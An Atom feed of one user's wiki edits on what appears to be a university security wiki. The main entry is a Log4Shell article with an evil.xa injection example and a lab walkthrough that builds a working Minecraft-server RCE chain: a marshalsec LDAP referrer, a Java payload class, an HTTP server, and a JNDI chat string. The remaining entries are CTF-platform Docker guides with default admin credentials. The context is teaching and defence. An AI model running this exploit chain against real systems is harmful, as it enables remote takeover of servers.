<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=GMathaisl</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=GMathaisl"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/GMathaisl"/>
	<updated>2026-09-10T20:07:23Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Log4j&amp;diff=14431</id>
		<title>Log4j</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Log4j&amp;diff=14431"/>
		<updated>2024-03-02T20:40:49Z</updated>

		<summary type="html">&lt;p&gt;GMathaisl: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Log4Shell is a software vulnerability in Apache Log4j2, a popular Java library for logging error messages in applications. It was considered a zero-day vulnerability because malicious actors likely knew about and exploited it before any experts had the chance. The vulnerability enables a remote attacker to gain control over a string and trick the application into requesting and executing malicious code under the attacker&#039;s control. As a result, attackers can remotely take over any internet-connected service that uses certain versions of the Log4j library anywhere in the software stack. &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
At the beginning of december 2021, a security vulnerability under the CVE-Number 2021-44228 was disclosed in the logging framework log4j developed for java. It was a zero day exploit which was undiscovered for 8 years. The exploit received a score of 10 out of 10 from the National Institute of Standards and Technology, the most points a vulnerability can receive. The Bundesamt für Informationssicherheit (BSI) also issued a red alert, because of the vulnerability. The affected versions of the vulnerability were all versions from 2.0 to 2.17.0. The exploit was closed with version 2.17.1.&lt;br /&gt;
&lt;br /&gt;
About 40% of all Java applications that use log messages use Log4j directly, and about 60% use the framework the framework indirectly. Log4j contains a feature called lookup, with which it is possible to replace parts of the log message dynamically (at runtime). Log4j also supports JNDI the so called JavaNaming and Directory Interface, which is an API provided by Java for a kind of lookup service, with which data and code can be found dynamically at runtime via a name. Basically it concerns thereby the named resolution. JNDI is often used in Java in connection with LDAP. There lies also the problem, because the return value of the LDAP server contains a URL, which points to a Java class. When log4j receives this URL, it reloads this Java class via JNDI and executes the code contained in it. So a JNDI LDAP call into an input form, as long as it is logged with log4j, causes that arbitrary code will be executed.&lt;br /&gt;
&lt;br /&gt;
== Execution ==&lt;br /&gt;
&lt;br /&gt;
[[File:Log4j.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
An attacker sends a request, for example from a manipulated user agent, to a vulnerable server, e.g. the server victim.xa (1). This server then writes to its log: The user agent named ${jndi:ldap://evil.xa/x} tries to access the website (2). This leads that the vulnerable Log4j implementation on this server evaluates and executes exactly this string and executes it (3). Log4j then asks the LDAP server, via the JNDI Lookup protocol, whether there is anyone with the manipulated user agent. The LDAP server responds with directory information containing a malicious Java class (4). The malicious Java class is executed and thus the system is compromised (5).&lt;br /&gt;
&lt;br /&gt;
== Types of attacks and Impact ==&lt;br /&gt;
&lt;br /&gt;
What was specifically done with the exploit: bots were installed, so-called zombies. These zombies are often used for example to implement spam email waves or to send phishing emails. Sometimes also for Denial of Service attacks or Distributed Denial of Service attacks, because they had asked different botsystems at the same time to take out a target. There were enough cryptominer installed this way. Backdoors are also installed. &lt;br /&gt;
&lt;br /&gt;
NIST has categorized this issue as a severe vulnerability with the most significant level of severity.Numerous businesses have been significantly impacted by the Log4Shell vulnerability, which has caused mistrust in the afflicted corporations. The repercussions of the Log4j vulnerability on business operations are substantial. It is actively being exploited by hackers, posing a severe threat to entities utilizing the affected library.This can lead to data breaches, financial losses, harm to reputation, and legal ramifications for companies failing to rectify the vulnerability. Consequently, businesses relying on these applications and services are at risk and must promptly take action to mitigate this vulnerability.&lt;br /&gt;
&lt;br /&gt;
== Pracitcal Example on a Minecraft Server ==&lt;br /&gt;
=== Prerequisites ===&lt;br /&gt;
Please make sure to have the following software and infrastructure setup:&lt;br /&gt;
*Kali VM (Attacker Server)&lt;br /&gt;
*Windows VM (in this example Windows 10 is used as the Target)&lt;br /&gt;
*Java 8 (installed on Kali VM, Windows VM and Attacker machine)&lt;br /&gt;
*Minecraft 1.8.8 Server (a detailed description on how to set up a Minecraft Server can be found here: https://bukkit.fandom.com/wiki/Setting_up_a_server)&lt;br /&gt;
*Maven&lt;br /&gt;
&lt;br /&gt;
=== Setting up the Server and executing the Exploit ===&lt;br /&gt;
First of all we need to establish our current Java version. &lt;br /&gt;
 java -version&lt;br /&gt;
&lt;br /&gt;
Since Kali per default ships with OpenJDK 17 (as of March 2024), we need to remove this version or at least tell Kali to use a different version of Java. In the case of this practical example and to make things easier, a Snapshot of the VM was created and OpenJDK 17 was completely removed.&lt;br /&gt;
 sudo apt purge openjdk-17-jre*&lt;br /&gt;
&lt;br /&gt;
Oracle has removed almost all traces of Java 8, which will give us only one option - we need to use mirrors. During research, a mirror was found by Huawei where one can [https://repo.huaweicloud.com/java/jdk/8u181-b13/ download Java 8 ].&lt;br /&gt;
But caution to newer Linux users needs to be advised: since you need to download a Java version as &amp;quot;.tar.gz&amp;quot; the setup work may pretty tideous. To help with that, please use the following script as a helping hand!&lt;br /&gt;
Note that this script was written for an older version of Java 8, but in this example Java 8 181 is used!&lt;br /&gt;
&lt;br /&gt;
 #Login as root&lt;br /&gt;
 sudo su&lt;br /&gt;
 &lt;br /&gt;
 #create jdk directory&lt;br /&gt;
 mkdir /opt/jdk&lt;br /&gt;
 &lt;br /&gt;
 #uncompress, change to your file name&lt;br /&gt;
 tar -zxf jdk-8u5-linux-x64.tar.gz -C /opt/jdk&lt;br /&gt;
 &lt;br /&gt;
 #check if files are there&lt;br /&gt;
 #ls /opt/jdk&lt;br /&gt;
 &lt;br /&gt;
 #update alternatives so the command java point to the new jdk &lt;br /&gt;
 update-alternatives --install /usr/bin/java java /opt/jdk/jdk1.8.0_05/bin/java 100&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 #update alternatives so the command javac point to the new jdk &lt;br /&gt;
 update-alternatives --install /usr/bin/javac javac /opt/jdk/jdk1.8.0_05/bin/javac 100&lt;br /&gt;
 &lt;br /&gt;
 #check if java command is pointing to &amp;quot; link currently points to /opt/jdk/jdk1.8.0_05/bin/java&amp;quot;&lt;br /&gt;
 update-alternatives --display java&lt;br /&gt;
 &lt;br /&gt;
 #check if java command is pointing to &amp;quot; link currently points to /opt/jdk/jdk1.8.0_05/bin/javac&amp;quot;&lt;br /&gt;
 update-alternatives --display javac&lt;br /&gt;
 &lt;br /&gt;
 #check if java is running&lt;br /&gt;
 java -version&lt;br /&gt;
&lt;br /&gt;
After the switch from Java 17 to Java 8, we are now able to start with our actual setup for our Referral Server.&lt;br /&gt;
For this Referral Server, a tool called [https://github.com/mbechler/marshalsec &amp;quot;Marshalsec&amp;quot;] is used, which was written by mbechler.&lt;br /&gt;
So what we will now do is, create a new folder anywhere on your Attacker Server - in the case of this example, it is /home/kali/tmp&lt;br /&gt;
 mkdir tmp &amp;amp; cd tmp&lt;br /&gt;
&lt;br /&gt;
When this is done, clone the git repository into your new folder.&lt;br /&gt;
 git clone https://github.com/mbechler/marshalsec.git&lt;br /&gt;
&lt;br /&gt;
After the repository was cloned, navigate into the created directory.&lt;br /&gt;
 cd marshalsec&lt;br /&gt;
&lt;br /&gt;
In here, run the following command:&lt;br /&gt;
 mvn clean package -DskipTests&lt;br /&gt;
&lt;br /&gt;
This will now build the whole Marshalsec package for us which we need to use further on. This package is our LDAP referrer, which we can use to send a malicous payload.&lt;br /&gt;
For the sake of this example and during research, a PoC of Log4j was conducted and used. To be precise and give a valid reference, the [https://github.com/xiajun325/apache-log4j-rce-poc user xiajun325 on GitHub] created a well documented and easy to understand PoC, which we can use for our practical example. In this case, all we need to do is to change the IP address for our LDAP referral server to another IP address&lt;br /&gt;
 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer &amp;quot;http://&amp;lt;your ip here&amp;gt;:8000/#Log4jRCE&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Executing this command will give us the following response in our terminal:&lt;br /&gt;
 Listening on 0.0.0.0:1359&lt;br /&gt;
&lt;br /&gt;
This means we now have an LDAP Server running locally and listening on all open interfaces on our Kali Machine! This LDAP Server will refer to the specified URL you have given him when being accessed on the &amp;quot;/#Log4jRCE&amp;quot; route.&lt;br /&gt;
Now, in another terminal, navigate into your &amp;quot;tmp&amp;quot; directory (or any other directory you created for the purpose of this example) and create a new directory in there - in our case we called it &amp;quot;poc&amp;quot;.&lt;br /&gt;
 mkdir poc &amp;amp; cd poc&lt;br /&gt;
&lt;br /&gt;
In here, create a new file and edit it with the following code - this will now be the Java code your referral server will be pointing at, or at least it is the code for the soon to be compiled file it is pointing at:&lt;br /&gt;
 public class Log4jRCE {&lt;br /&gt;
 &lt;br /&gt;
     static {&lt;br /&gt;
         try {&lt;br /&gt;
             Runtime.getRuntime().exec(&amp;quot;calc.exe&amp;quot;).waitFor();&lt;br /&gt;
         } catch (Exception e) {&lt;br /&gt;
             e.printStackTrace();&lt;br /&gt;
         }&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
For the purpose of this example, we will execute &amp;quot;calc.exe&amp;quot; on our target machine, which will just bring up the Windows 10 Calculator app to demonstrate, that RCE is working.&lt;br /&gt;
Now compile it:&lt;br /&gt;
 javac Log4jRCE.java&lt;br /&gt;
&lt;br /&gt;
This will create a new file called &amp;quot;Log4jRCE.class&amp;quot;.&lt;br /&gt;
Open a new terminal and host a simple python http server - note that this will open and listen on port 8000 of your Kali machine!&lt;br /&gt;
 python http.server&lt;br /&gt;
&lt;br /&gt;
This will then give you the following output:&lt;br /&gt;
 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...&lt;br /&gt;
&lt;br /&gt;
And with that everything is setup!&lt;br /&gt;
Now on your Attacker Machine open up Minecraft and connect to your Minecraft Server. When logged in, type the following line into the chat and watch the magic happen:&lt;br /&gt;
 ${jndi:ldap://&amp;lt;ip of attacker server&amp;gt;:1389/Log4jRCE}&lt;br /&gt;
&lt;br /&gt;
When you take a look at your terminals containing the LDAP Referral Server and your HTTP Server and after that at your Windows 10 Minecraft Server, you should see the following:&lt;br /&gt;
# The Minecraft Server resolves the JNDI string and connects to your LDAP Referral Server&lt;br /&gt;
# Your LDAP Referral Server redirects the Connection to your HTTP Server&lt;br /&gt;
# The Minecraft Server connects to the HTTP Server, which returns the &amp;quot;Log4jRCE.class&amp;quot; file&lt;br /&gt;
# The Minecraft Server executes the received file and this file in turn opens the Calculator app&lt;br /&gt;
&lt;br /&gt;
And with that, we have proven that RCE via Log4j is possible through a Minecraft Server!&lt;br /&gt;
&lt;br /&gt;
== Testing tools ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Log4Shell Scanning Tools&#039;&#039;&#039;: Various security scanning tools have been developed specifically to detect Log4j vulnerabilities. These tools can automatically scan code repositories, application binaries, and configurations to identify instances of Log4j that are vulnerable to the Log4Shell attack. Some popular scanning tools includethe Log4jScanner by CISA The Cybersecurity and Infrastructure Security Agency or TLog4shell-tool which searches for vulnerable Log4j versions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Vulnerability Scanners&#039;&#039;&#039;: Widely used vulnerability scanning tools like Nessus, Qualys and OpenVAS can identify Log4j vulnerabilities as part of their routine scans.It is important to keep these tools up-to-date to ensure they can identify the latest Log4j-related threats.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Static Code Analysis Tools&#039;&#039;&#039;: Static code analysis tools, such as Checkmarx and Fortify, can identify Log4j vulnerabilities by analyzing the source code of an application. They can flag instances where Log4j is used in a way that might expose the application to Log4Shell attacks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Dynamic Application Security Testing (DAST)&#039;&#039;&#039;: DAST tools, like OWASP ZAP and Burp Suite, test applications while they are running to identify security vulnerabilities, including Log4j-related issues. They simulate real-world attacks and can help discover Log4j vulnerabilities that may not be evident in the source code alone.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Log Analysis and Monitoring Tools&#039;&#039;&#039;: Tools like the Elastic Stack (Elasticsearch, Logstash, Kibana) and Splunk can be configured to monitor log files for suspicious Log4j-related activity. They can help organizations detect and respond to Log4Shell attacks in real-time.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Manual Code Review&#039;&#039;&#039;: Security experts can perform manual code reviews to identify Log4j vulnerabilities by inspecting the source code, configurations, and dependencies. This method can be time-consuming but is highly effective in identifying complex or subtle vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Vendor-Specific Tools&#039;&#039;&#039;: Many software vendors, such as Apache, Red Hat, and Oracle, provide their own testing and diagnostic tools for Log4j vulnerabilities. These tools are tailored to their specific software products and can help users assess their exposure to Log4Shell attacks.&lt;br /&gt;
&lt;br /&gt;
It is essential for organizations to employ a combination of these testing tools and approaches to thoroughly assess and address Log4j vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Strategies ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Short Term Mitigation&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Patch and Update Log4j&#039;&#039;&#039;: The most critical step is to update Log4j to a non-vulnerable version. Apache has released patches for affected versions, and it’s crucial to apply these patches promptly. Any third-party software or libraries that depend on Log4j needs to be updated to the latest patched versions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Implement Web Application Firewall (WAF)&#039;&#039;&#039;: A JNDI lookup string that will probably be logged is inserted into the header field when the Attack is launched by the attacker. There is a need to configure a WAF, to detect and block such searches.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Log4j Configuration Restriction&#039;&#039;&#039;: The Log4j configuration must be reviewed and restricted. Access to sensitive components, such as the JNDI lookup feature must be limited to authorized users only. The JNDI-based lookups will be disabled entirely if not needed for the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Network arhitecture and Segmentation&#039;&#039;&#039;: An attacker needs to be able to send the payload to an external system or steal data from the external system in order to take use of the Log4j vulnerability. This can entail sending commands to run a shell or start malicious software that uses encryption. The amount of communication with outside hosts must be kept to a minimal. Network segmentation to isolate critical systems and applications from potentially compromised or vulnerable components must be employed. This can help contain an attack and limit its impact.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Intrusion Detection and Prevention Systems (IDS/IPS)&#039;&#039;&#039;: IDS and IPS solutions must be used to monitor network traffic for suspicious patterns indicative of Log4j attacks. They need to be configured to take automatic actions or alert administrators when such activity is detected.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notification of Vulnerabilities&#039;&#039;&#039;: Employing an automated alert system enables to reduce the time it takes to detect vulnerabilities and convey this information to your team. This enhances the ability to respond promptly and identify which applications are utilizing the problematic component. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Honeypots (for detection and analysis)&#039;&#039;&#039;: Deploying a honeypot that mimics systems with Log4j vulnerabilities can help organizations detect and analyze real-world Log4j exploitation attempts, gaining insights into attacker tactics and techniques.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Long Term Mitigation&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Regular Security Audits and Scans&#039;&#039;&#039;: Regular security audits and vulnerability scans of your systems and applications to identify and address Log4j vulnerabilities promptly.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incident Response Plan&#039;&#039;&#039;: Develop and maintain a robust incident response plan that outlines the steps to take in case of a Log4Shell attack. Ensure that your IT and security teams are well-prepared to respond swiftly.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;User and Developer Education&#039;&#039;&#039;: Train your users and developers about the Log4j vulnerability and safe coding practices. Encourage them to report any suspicious activity promptly.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-549032-10F2.pdf?__blob=publicationFile&amp;amp;v=10&lt;br /&gt;
* https://nvd.nist.gov/vuln/detail/CVE-2021-44228&lt;br /&gt;
* https://www.cisa.gov/sites/default/files/publications/CSRB-Report-on-Log4-July-11-2022_508.pdf&lt;br /&gt;
* https://snyk.io/blog/log4j-vulnerability-software-supply-chain-security-log4shell/#:~:text=About%20%E2%85%93%20of%20Snyk%20customers,imported%20or%20monitored%20by%20Snyk.&lt;br /&gt;
*https://www.researchgate.net/publication/360410249_The_Race_to_the_Vulnerable_Measuring_the_Log4j_Shell_Incident&lt;br /&gt;
*https://github.com/CERTCC/CV E − 2021 − 44228scanner&lt;br /&gt;
*https://www.tenable.com/products/nessus&lt;br /&gt;
*https://www.qualys.com/apps/web-app-scanning/&lt;br /&gt;
*https://openvas.org/&lt;br /&gt;
*https://checkmarx.com/glossary/a-secure-sdlc-with-static-source-code-analysis-tools/&lt;br /&gt;
*https://www.microfocus.com/de-de/cyberres/application-security/static-code-analyzer&lt;br /&gt;
*https://www.zaproxy.org/&lt;br /&gt;
*https://portswigger.net/burp&lt;br /&gt;
*https://bukkit.fandom.com/wiki/Setting_up_a_server&lt;br /&gt;
*https://minecraft.net&lt;br /&gt;
*https://www.youtube.com/watch?v=7qoPDq41xhQ&lt;br /&gt;
*https://github.com/mbechler/marshalsec&lt;br /&gt;
*https://repo.huaweicloud.com/java/jdk/8u181-b13/&lt;br /&gt;
*https://github.com/xiajun325/apache-log4j-rce-poc&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>GMathaisl</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11743</id>
		<title>Host CTF Platforms with Docker</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11743"/>
		<updated>2023-09-15T16:44:14Z</updated>

		<summary type="html">&lt;p&gt;GMathaisl: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
In the world, there are many different types of platforms to learn and compete in so called Capture The Flags (CTFs). While the possibilities to host our own CTF platform in the cloud are nearly endless, there are also open-source variants which can be hosted with Docker or on-premise. These types of platforms are often preferred, since they do not cost any money and also one can learn many things about the hosting machine, the used technologies and about the platform itself.&lt;br /&gt;
This Article focuses on three open-source platforms and shows how to host them in a dockerized environment.&lt;br /&gt;
&lt;br /&gt;
== Infrastructure used for this work ==&lt;br /&gt;
&lt;br /&gt;
[[File:Infrastructure.jpeg|1000px]]&lt;br /&gt;
&lt;br /&gt;
== System Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
** Windows 8 or higher&lt;br /&gt;
** Ubuntu Linux 20.04 LTS or higher&lt;br /&gt;
** macOS 10.14 or higher&lt;br /&gt;
** Or any other OS which support Docker&lt;br /&gt;
* Docker Engine &amp;gt;= 20.10&lt;br /&gt;
** optional: Docker Desktop&lt;br /&gt;
* Ruby&lt;br /&gt;
* Internet Browser of any type&lt;br /&gt;
* GIT&lt;br /&gt;
&lt;br /&gt;
== Docker Setup ==&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
First, uninstall any conflicting packages:&lt;br /&gt;
 for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do sudo apt-get remove $pkg; done&lt;br /&gt;
&lt;br /&gt;
Then update the apt package index:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install ca-certificates curl gnupg&lt;br /&gt;
&lt;br /&gt;
After that, install the official GPG keys:&lt;br /&gt;
 sudo install -m 0755 -d /etc/apt/keyrings&lt;br /&gt;
 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg&lt;br /&gt;
 sudo chmod a+r /etc/apt/keyrings/docker.gpg&lt;br /&gt;
&lt;br /&gt;
When that&#039;s done, setup the repository:&lt;br /&gt;
 echo \&lt;br /&gt;
  &amp;quot;deb [arch=&amp;quot;$(dpkg --print-architecture)&amp;quot; signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \&lt;br /&gt;
  &amp;quot;$(. /etc/os-release &amp;amp;&amp;amp; echo &amp;quot;$VERSION_CODENAME&amp;quot;)&amp;quot; stable&amp;quot; | \&lt;br /&gt;
  sudo tee /etc/apt/sources.list.d/docker.list &amp;gt; /dev/null&lt;br /&gt;
&lt;br /&gt;
Then install the Docker Engine with the latest version:&lt;br /&gt;
 sudo apt-get update&lt;br /&gt;
 sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin&lt;br /&gt;
&lt;br /&gt;
=== Verification ===&lt;br /&gt;
&lt;br /&gt;
After the installation, verify that the Docker Engine was installed successfully:&lt;br /&gt;
 sudo docker run hello-world&lt;br /&gt;
&lt;br /&gt;
== MITRE CTF Scoreboard ==&lt;br /&gt;
&lt;br /&gt;
The MITRE CTF Scoreboard is an open-source application developed by the MITRE Cyber Academy and focuses on hosting Capture The Flags in safe environments for learning, practicing and competing. It offers a wide variety of functionality, including authentication and authorization of individuals, the creation and management of teams, management of competitions and their including challenges, and much more.&lt;br /&gt;
MITRE CTF Scoreboard is installed with Docker and the according plugin &#039;docker-compose&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
These steps are for production deployments using [https://docs.docker.com/compose/ docker-compose].&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/mitre-cyber-academy/ctf-scoreboard.git&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd ctf-scoreboard&lt;br /&gt;
&lt;br /&gt;
After that, generate your credentials:&lt;br /&gt;
 ./setup-docker-secrets.sh&lt;br /&gt;
&lt;br /&gt;
Then run scoreboard database setup:&lt;br /&gt;
 docker-compose run web rails db:initial_setup&lt;br /&gt;
&lt;br /&gt;
Add appropriate [https://github.com/mitre-cyber-academy/ctf-scoreboard/wiki/Production-Installation#Environment-Configuration Environment Variables] into your `.env-prod` file for your environment.&lt;br /&gt;
Add NGINX_HOST to the &#039;.env&#039; file for your environment&lt;br /&gt;
 NGINX_HOST=your-scoreboard-domain.com&lt;br /&gt;
&lt;br /&gt;
Start the container:&lt;br /&gt;
 docker-compose up -d&lt;br /&gt;
&lt;br /&gt;
The software is now be accessible via &#039;https://&amp;lt;ip address of docker container&amp;gt;&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Create an Admin User ===&lt;br /&gt;
After the initial installation, navigate with yout browser to &#039;https://&amp;lt;ip address of docker container&amp;gt;&#039;. This will prompt you a registration mask, on which you can create your Admin User - the following page may differ from the actual &#039;Admin Registration&#039; page.&lt;br /&gt;
&lt;br /&gt;
[[File:CreatUserCTFMitre.png|500px]]&lt;br /&gt;
&lt;br /&gt;
== MELLIVORA ==&lt;br /&gt;
&lt;br /&gt;
Mellivora Capture the Flag (CTF) platform is a comprehensive and dynamic online platform designed for hosting and participating in cybersecurity Capture the Flag competitions. Developed with the aim of enhancing practical cybersecurity skills, Mellivora CTF offers a robust and challenging environment for individuals and teams to engage in offensive and defensive cybersecurity exercises. The platform provides a feature-rich and intuitive interface, making it accessible to both beginners and experienced cybersecurity enthusiasts. It offers a wide range of challenges across various categories, including cryptography, web exploitation, reverse engineering, forensics, and more. These challenges are designed to mimic real-world scenarios, allowing participants to develop and apply their technical skills in a safe and controlled environment.&lt;br /&gt;
Mellivora CTF emphasizes collaboration and learning by fostering a competitive and engaging atmosphere. Participants can form teams and compete against others, leveraging their collective expertise to solve complex challenges and earn points. The platform offers a scoring system that rewards both speed and accuracy, encouraging participants to strategize, communicate effectively, and think critically to maximize their score. One notable aspect of Mellivora CTF is its flexibility and extensibility. The platform supports custom challenge creation, allowing organizers to tailor the competition to their specific needs and objectives. Additionally, Mellivora CTF provides a comprehensive administrative dashboard that enables organizers to manage competitions, track progress, and analyze performance metrics in real-time.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
Mellivora is easy to use with docker-compose. Mellivora comes with an included docker-compose configuration intended for development use. If you&#039;re looking to run Mellivora using Docker(-compose) in production, a good place to start might be to copy the provided docker-compose config and changing it to suit your needs.&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/Nakiami/mellivora&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd mellivora&lt;br /&gt;
&lt;br /&gt;
After that, run following command:&lt;br /&gt;
 docker-compose -f docker-compose.dev.yml up&lt;br /&gt;
&lt;br /&gt;
in the Mellivora home directory to give Apache the permissions necessary for challenge file upload and caching run following command:&lt;br /&gt;
 sudo chown -R www-data:www-data writable/&lt;br /&gt;
&lt;br /&gt;
=== Create an admin user: ===&lt;br /&gt;
* Visit http://localhost/ which should now display the Mellivora landing page.&lt;br /&gt;
* Register a new user. You will probably get an error about emails not working. The user is created and functional despite the error.&lt;br /&gt;
* Go to http://localhost:18080 where Adminer should be running (assuming you&#039;re running in dev mode). Log in with&lt;br /&gt;
&lt;br /&gt;
 Server: db&lt;br /&gt;
 Username: root&lt;br /&gt;
 Password: password&lt;br /&gt;
 Database: mellivora&lt;br /&gt;
&lt;br /&gt;
To make your user an administrator, go to &amp;quot;SQL command&amp;quot; in the menu and run:&lt;br /&gt;
 UPDATE users SET class = 100 WHERE id = 1;&lt;br /&gt;
&lt;br /&gt;
Log in at http://localhost/. Done!&lt;br /&gt;
&lt;br /&gt;
=== Tips ===&lt;br /&gt;
* The dev docker-compose profile mounts to use files directly from the host. Making changes to files on disk will result in changes to the running instance without rebuilding the container.&lt;br /&gt;
* If you are making changes to composer requirements, you will need to delete/rebuild the docker image composerdependencies.&lt;br /&gt;
* Call docker-compose -f docker-compose.dev.yml up --build to rebuild and start.&lt;br /&gt;
* Copy include/config/config.default.inc.php to include/config/config.inc.php to make your configuration changes.&lt;br /&gt;
&lt;br /&gt;
== RootTheBox ==&lt;br /&gt;
&lt;br /&gt;
Hackers can practice and learn using Root the Box, a real-time capture the flag (CTF) scoring system for computer wargames. Any CTF-style game may be easily configured and adjusted using the application. By fusing a fun game-like atmosphere with practical tasks that communicate knowledge applicable to the real-world, such as penetration testing, incident response, digital forensics, and threat hunting, the platform enables you to engage both inexperienced and experienced players.&lt;br /&gt;
RootTheBox is installed with Docker and the according plugin &#039;docker-compose&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Setup ===&lt;br /&gt;
&lt;br /&gt;
These steps are for production deployments using [https://docs.docker.com/compose/ docker-compose].&lt;br /&gt;
&lt;br /&gt;
Download the git repository:&lt;br /&gt;
 git clone https://github.com/moloch--/RootTheBox.git&lt;br /&gt;
&lt;br /&gt;
Then navigate into the folder:&lt;br /&gt;
 cd RootTheBox&lt;br /&gt;
&lt;br /&gt;
Update the repository:&lt;br /&gt;
 git pull&lt;br /&gt;
 docker-compose build&lt;br /&gt;
&lt;br /&gt;
Start the container:&lt;br /&gt;
 docker-compose up -d&lt;br /&gt;
&lt;br /&gt;
The software is now be accessible via &#039;https://&amp;lt;ip address of docker container&amp;gt;:8888&#039;.&lt;br /&gt;
&lt;br /&gt;
=== Access Admin Dashboard ===&lt;br /&gt;
&lt;br /&gt;
RootTheBox enables Users to access an admin dashboard, which enables them to configure the platform to their need.&lt;br /&gt;
Usually, when just installed, the credentials for the admin user are the following:&lt;br /&gt;
 admin&lt;br /&gt;
 rootthebox&lt;br /&gt;
&lt;br /&gt;
Always make sure to change the password of your admin account before you start hosting the platform in production!&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://docs.docker.com/&lt;br /&gt;
* https://github.com/mitre-cyber-academy/ctf-scoreboard&lt;br /&gt;
* https://github.com/Nakiami/mellivora&lt;br /&gt;
* https://github.com/moloch--/RootTheBox.git&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>GMathaisl</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11742</id>
		<title>Host CTF Platforms with Docker</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Host_CTF_Platforms_with_Docker&amp;diff=11742"/>
		<updated>2023-09-15T16:42:36Z</updated>

		<summary type="html">&lt;p&gt;GMathaisl: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
In the world, there are many different types of platforms to learn and compete in so called Capture The Flags (CTFs). While the possibilities to host our own CTF platform in the cloud are nearly endless, there are also open-source variants which can be hosted with Docker or on-premise. These types of platforms are often preferred, since they do not cost any money and also one can learn many things about the hosting machine, the used technologies and about the platform itself.&lt;br /&gt;
This Article focuses on three open-source platforms and shows how to host them in a dockerized environment.&lt;br /&gt;
&lt;br /&gt;
== Infrastructure used for this work ==&lt;br /&gt;
&lt;br /&gt;
[[File:infrastructure|500px]]&lt;br /&gt;
&lt;br /&gt;
== System Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: &lt;br /&gt;
** Windows 8 or higher&lt;br /&gt;
